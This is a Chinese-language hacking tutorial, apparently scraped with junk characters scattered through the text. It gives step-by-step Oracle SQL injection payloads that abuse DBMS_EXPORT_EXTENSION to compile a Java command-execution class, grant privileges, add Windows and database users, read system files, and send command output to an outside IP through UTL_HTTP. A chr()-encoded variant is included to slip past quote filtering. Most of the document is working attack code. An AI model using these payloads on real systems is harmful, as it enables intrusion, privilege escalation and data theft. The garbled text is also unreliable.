* c. R: ~# s3 R7 W0 O' Z: X9 W& U
7 y# W" w8 k+ X O3 [$ Z介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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) b- H I% [( v' n: t以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成+ K( G$ [& Y% m& a X( s
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)3 G& I7 A& W) Z' u5 W4 Y. x
+ R$ T: A( e& X+ ^
的形式即可。(用" 'a'|| "是为了让语句返回true值)
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; f9 L7 m r, }; `* V1 K语句有点长,可能要用post提交。- _9 n. z$ f4 b$ e1 M
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以下是各个步骤:4 s+ K) W7 X& Y7 t
4 V! N9 S. K9 f1 d1.创建包
4 {+ J) |9 L( U& s% q通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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: H7 {8 ^2 k+ B5 T8 w/xxx.jsp?id=1 and '1'<>'a'||(# M8 K0 @$ R6 P" E! D" t
/ q1 H, A5 |* s7 }select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* i1 ^5 K( H6 \ M" q9 W+ |% Bcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
! r3 p2 q, d' S; f% a9 {new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
+ D6 }, q1 ?9 q; r( d+ u}'''';END;'';END;--','SYS',0,'1',0) from dual/ C9 I k* z/ E& m0 _
5 Y6 o L) a% z+ D: S; Q; g0 k7 C)
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# w3 U; F: L' v t* E( ~------------------------5 l8 Y. F! E, O+ H
如果url有长度限制,可以把readFile()函数块去掉,即:/ o9 d* e) @9 u& V* w. T
/xxx.jsp?id=1 and '1'<>'a'||( O' d& M: a+ y' X3 U. P9 T- {* K
, O% |& e Y, e* o' k0 F2 k M- gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 ^9 i" T! ]$ w$ P$ o4 Ocreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader($ [5 i4 q3 G8 ~/ z1 w* f8 B
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}, f5 e" ]9 N" O) m4 d
}'''';END;'';END;--','SYS',0,'1',0) from dual+ c+ f9 l1 k1 I' V9 e0 c' K) B
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$ b! G- h; l! L& d9 c* a* L! u T同时把后面步骤 提到的 对readFile()的处理语句去掉。
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2.赋Java权限! [2 [7 r9 S; n) ]8 D
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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p* q3 ~+ C9 V" b. z- }9 A! h8 C3.创建函数* o1 B7 A ^* y2 I. q1 u
6 l6 q" C$ O; t7 B$ [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 w7 p; E$ Q5 t3 T Hcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual2 \) \4 n r4 ?# O. f1 V: U
y b& K2 U; \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') x. m3 \% ]& x5 a U% E" K: X
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual! K% W% d: s. s+ t" ^# S- u' ?
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4.赋public执行函数的权限6 ]- G! T: U4 ?3 [ A
4 \ \ q6 [( c( qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual; j, j! Y* X2 `( Q8 f
3 B$ W/ b; A0 @& J' Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual/ d5 p3 h4 b& Q- s1 H& m
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) a4 a# A$ ^" d% N( ~) o2 ? s5.测试上面的几步是否成功
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and '1'<>'11'||(
% S% `0 {0 l8 s) Bselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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$ P2 G/ X$ j$ f2 \5 ?and '1'<>(
$ _5 q9 G' }: l' r8 c6 v6 t# eselect OBJECT_ID from all_objects where object_name ='LINXREADFILE': d+ r/ D! [) L0 X) d
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6.执行命令:
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% [3 {6 k7 Y: w. c/xxx.jsp?id=1 and '1'<>(
" K" y/ L, n( A8 e; N2 xselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
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( F2 Q7 [# ?% A( J8 ^/xxx.jsp?id=1 and '1'<>(
" E! ]- z4 L0 [) \select sys.LinxReadFile('c:/boot.ini') from dual
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
1 }. N& V& |4 W4 q( `如果要查看运行结果可以用 union :
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, i; x" P# U- s7 a7 ~% ^/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
3 j" D- z4 N& Y* E# t; X/ A' w, V* ~0 `
或者UTL_HTTP.request(:1 P" X1 Y) K9 B7 r9 L
@% _& z+ `* W# z) J- S/xxx.jsp?id=1 and '1'<>(- N9 N. E" z' B/ S
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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/xxx.jsp?id=1 and '1'<>(: _% ~: e0 t2 z0 W
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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9 c2 w( V/ F- p3 U7 S--------------------
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, r: p% ^& ]3 y6.内部变化$ a/ `3 P5 X$ S& a% I
通过以下命令可以查看all_objects表达改变:- m* u6 A1 I( S: n9 N) i' o
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数0 `. v" J' s1 q( K3 ~2 y; R: I1 _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 n' I* v4 i( K7 W
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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K+ I/ h& E8 | \
====================================================
! _7 b) |- G j; R D! ^. A全文结束。谨以此文赠与我的朋友。
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linx" D: G/ }+ N2 |2 M
124829445
; ~+ `' Q0 u7 q) s2008.1.129 S1 A, ~8 ^! c
linyujian@bjfu.edu.cn) S6 o3 j m7 e9 w, t
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6 E2 z$ T. L; _. B. \" ^======================================================================
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测试漏洞的另一方法:$ I% W0 [& q$ ]2 w$ [% S+ {( N
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创建oracle帐号:4 p* g% n8 j$ h- f: S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 O4 ^% H" N9 E. J' G, x( V9 t
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual) [* J! m! \) O ~- C8 k( l
( [- G, S; k5 h4 u% q# d4 _- \& [: T即:7 t* a0 s' x7 C. o4 ^& q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
& i" v* S2 y0 E( W# h3 A: Rchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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* Y" F: i( ~* }+ R确定漏洞存在:
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select user_id from all_users where username='LINXSQL'
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3 O% T+ g- @1 R- Z. y给linxsql连接权限:
; h/ }8 Z" F: Z8 ] Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 X F2 f# B! l% }* A9 MGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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8 N! s5 B# V5 _; Z; R$ f删除帐号:
$ D, j; O& k1 ]- X; e& m Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& s) R7 T% q: |9 @7 U6 I- M
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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2 i7 E2 n+ a& K$ P1 w======================
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
* g/ g/ ?6 B7 `: j' |( b5 E% V; _) l6 L+ S, g3 v
1.jsp?id=1 and '1'<>(
% ]/ ?/ ^' O/ X1 {" vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 x: G6 ~% O1 D" |create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
8 k3 U3 w6 K4 x) G) and ..., w9 V: Q9 ?: x2 l6 U
- M+ ?( ?) l9 r) H7 M: N1.jsp?id=1 and '1'<>(
8 r! d1 p6 C& }select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
* S1 [ A9 w$ M1 i$ c6 d+ S) and ...
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1.jsp?id=1 and '1'<>( s3 ]$ D% ?9 F! P/ U# e6 e
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL2 }# X9 y1 P2 p3 M _& @
) and ...
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% n7 w" G# ^1 X: m1.jsp?id=1 and '1'<>(
1 e q* G0 @3 ]: U/ mSELECT sys.Linx_Query('declare pragma k5 }* Y% _, _7 u. |9 L& q
autonomous_transaction; begin execute immediate ''% p1 A- a b4 M4 @4 T; G
select 1 from dual
" ]: J* `- I; i6 e''; commit; end;') from dual
/ M0 o$ \0 {2 ^& d$ G$ g+ D9 w$ y2 |) and ...
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; y: d Q+ [* {4 V) |( v: z2 z多语句:( P |# [7 v; k7 p, Z' p, c
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual2 U; f6 f7 ?, ^& L& Z" V
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创建用户(除非当前用户有system权限,否则无法成功):3 M9 L/ `7 Q+ u; ?
SELECT sys.Linx_Query('declare pragma
6 g# X% e( q" sautonomous_transaction; begin execute immediate ''
2 C8 p9 g% ?& I& v2 ]CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
% \' t0 @3 W9 u+ A$ g' A( {''; commit; end;') from dual+ c2 H' q9 s/ f: H( m( ?7 w4 C
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5 Q8 L1 v, _9 q2 D================
3 W$ ~2 b5 W3 w! S2 `以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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1.创建函数 p5 R: W& r e) ?9 A% l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' T0 S3 R& W7 f) {$ |" f3 [9 P/ Bcreate or replace function Linx_Query (p
2 z5 {# c; \9 x1 K; P0 Fvarchar2) return number authid current_user is begin execute immediate
" P; C. Q x2 l( Pp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;, u3 A% M4 A; C$ {0 e) g* I
; S- _! R2 z) o' e如果有权限,以下语句应该允许正常0 }% }0 q. }# U& s# x
select sys.linx_query('select 1 from dual') from dual;, J0 J( v' o/ m; H' R* E M; f
. r7 @+ [/ S! p) T不然的话运行:* ]! s. L% c; W: j) J% G
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 A7 D7 ^8 W7 W6 M' z# l+ ?grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual- a4 [. w" m+ O2 ]4 c8 L8 M' H
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; p( @; [5 T( G2.创建包% X4 H1 p3 \& @. R7 f+ Y
SELECT sys.Linx_Query('declare pragma
& i/ u; T' Q% O5 L' Sautonomous_transaction; begin execute immediate ''
- H1 |- m i$ n6 _7 c& Jcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader( a/ t s3 P+ l0 `* Q
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual Y) S6 i, z' _; L: w. k
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3.创建函数
2 T& S9 b- F+ _! N$ w9 z4 lSELECT sys.Linx_Query('declare pragma
& m% }. r, r, G8 G! \autonomous_transaction; begin execute immediate ''
. ?4 q! g3 d. t0 p+ S% Ycreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual m( L8 G5 i; [& N
( W# y) e% c1 e2 k [+ k1 G2 b4.给权限
) {5 u2 ~" o) B4 M/ [给用户SYSTEM执行权限:3 o b) u, J) g+ x, ]
% {3 b6 p% d# J9 I6 v, hSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
# p& I/ Y* R+ W1 _2 F' c( ]) j5 N1 t: A! g* Y' N; p
) E/ U. Q ?! j8 b y- @8 X- d6 Q" G0 X% y/ [! f6 l8 l
5.执行函数 a0 b! ~( r6 s( t" _; E3 R: B
select RunCMD2('cmd /c dir') from dual
% Q+ v, f$ M# e5 T9 a7 s& e% ^5 T2 F$ X' k e
" T! a* u7 Z( d
0 ]% ^* X/ ]' E; s3 p+ V2 j
' P' \# f* c. {, ~( P# C- m/ a9 i1 L6 R: |/ G) O2 m
==================. S7 ]" x3 E; W3 u! p
================================2 w [9 O/ f1 Z! D# t/ V/ L1 ~ Q" n
6 L: r" K4 Z! |以下是无 " ' " 版:# I) [; T* R+ B! b, |
4 W" s5 \$ T( Q1 [4 l+ b: S" e
以下是各个步骤:- F" o0 V( j+ [
) D8 \/ S+ {9 x4 S. @1 L4 g
1.创建包
( d9 j$ ?& x2 [' u' H# J+ L通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
2 g. p0 f) j- Z. f2 g* A: d& X* T因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
* z" {3 [; n0 X# y8 ?6 \# X* N, _& ?6 v
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
. g: l( X: U0 A' z3 n/ q- P
" H3 e* A3 m- J. w1 x3 wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
/ s+ V' s9 d$ l4 e- t) C" t1 ?6 gchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||# O2 [5 h% D% Q! @5 F, p0 y1 V
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||) p+ Z+ I: A' P
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||& P' r/ `$ E! n0 B, {" y
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||8 g7 O8 @" ^1 l* k
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
}2 f; s$ o$ B4 Jchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||" g7 o8 N8 n, _, O
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||$ C' X$ X, J, p- }, S M5 b
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||1 `$ ]; t" @2 s7 Z9 q V+ \
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
( }/ {. G+ y: S schr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||! t, W. {& I2 o+ H! D
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||. t) B4 u/ Y+ P) |
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
! j& y- i. r# _* f. S, `chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||6 o/ F0 E4 D* X4 j3 J! H
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
8 O$ A. }% c- o0 ochr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
$ l4 ~$ x! [* G/ i+ ^/ X) x- Wchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||" X2 R4 V) D( K. ~1 ?
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||* G K& K# L" X* T( L2 `2 ~# v
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||$ ]4 _% f9 r/ N# j/ @3 h. r& d
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||# |& ^- q6 R+ f5 h
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||! K) Y+ d/ o# ?3 [ X
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
5 f. t: o. j* w: ` f$ L9 l8 c( dchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||5 a, r1 j# N; O! f. m0 p5 }
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||% F+ B) [2 c3 C+ e0 \3 F
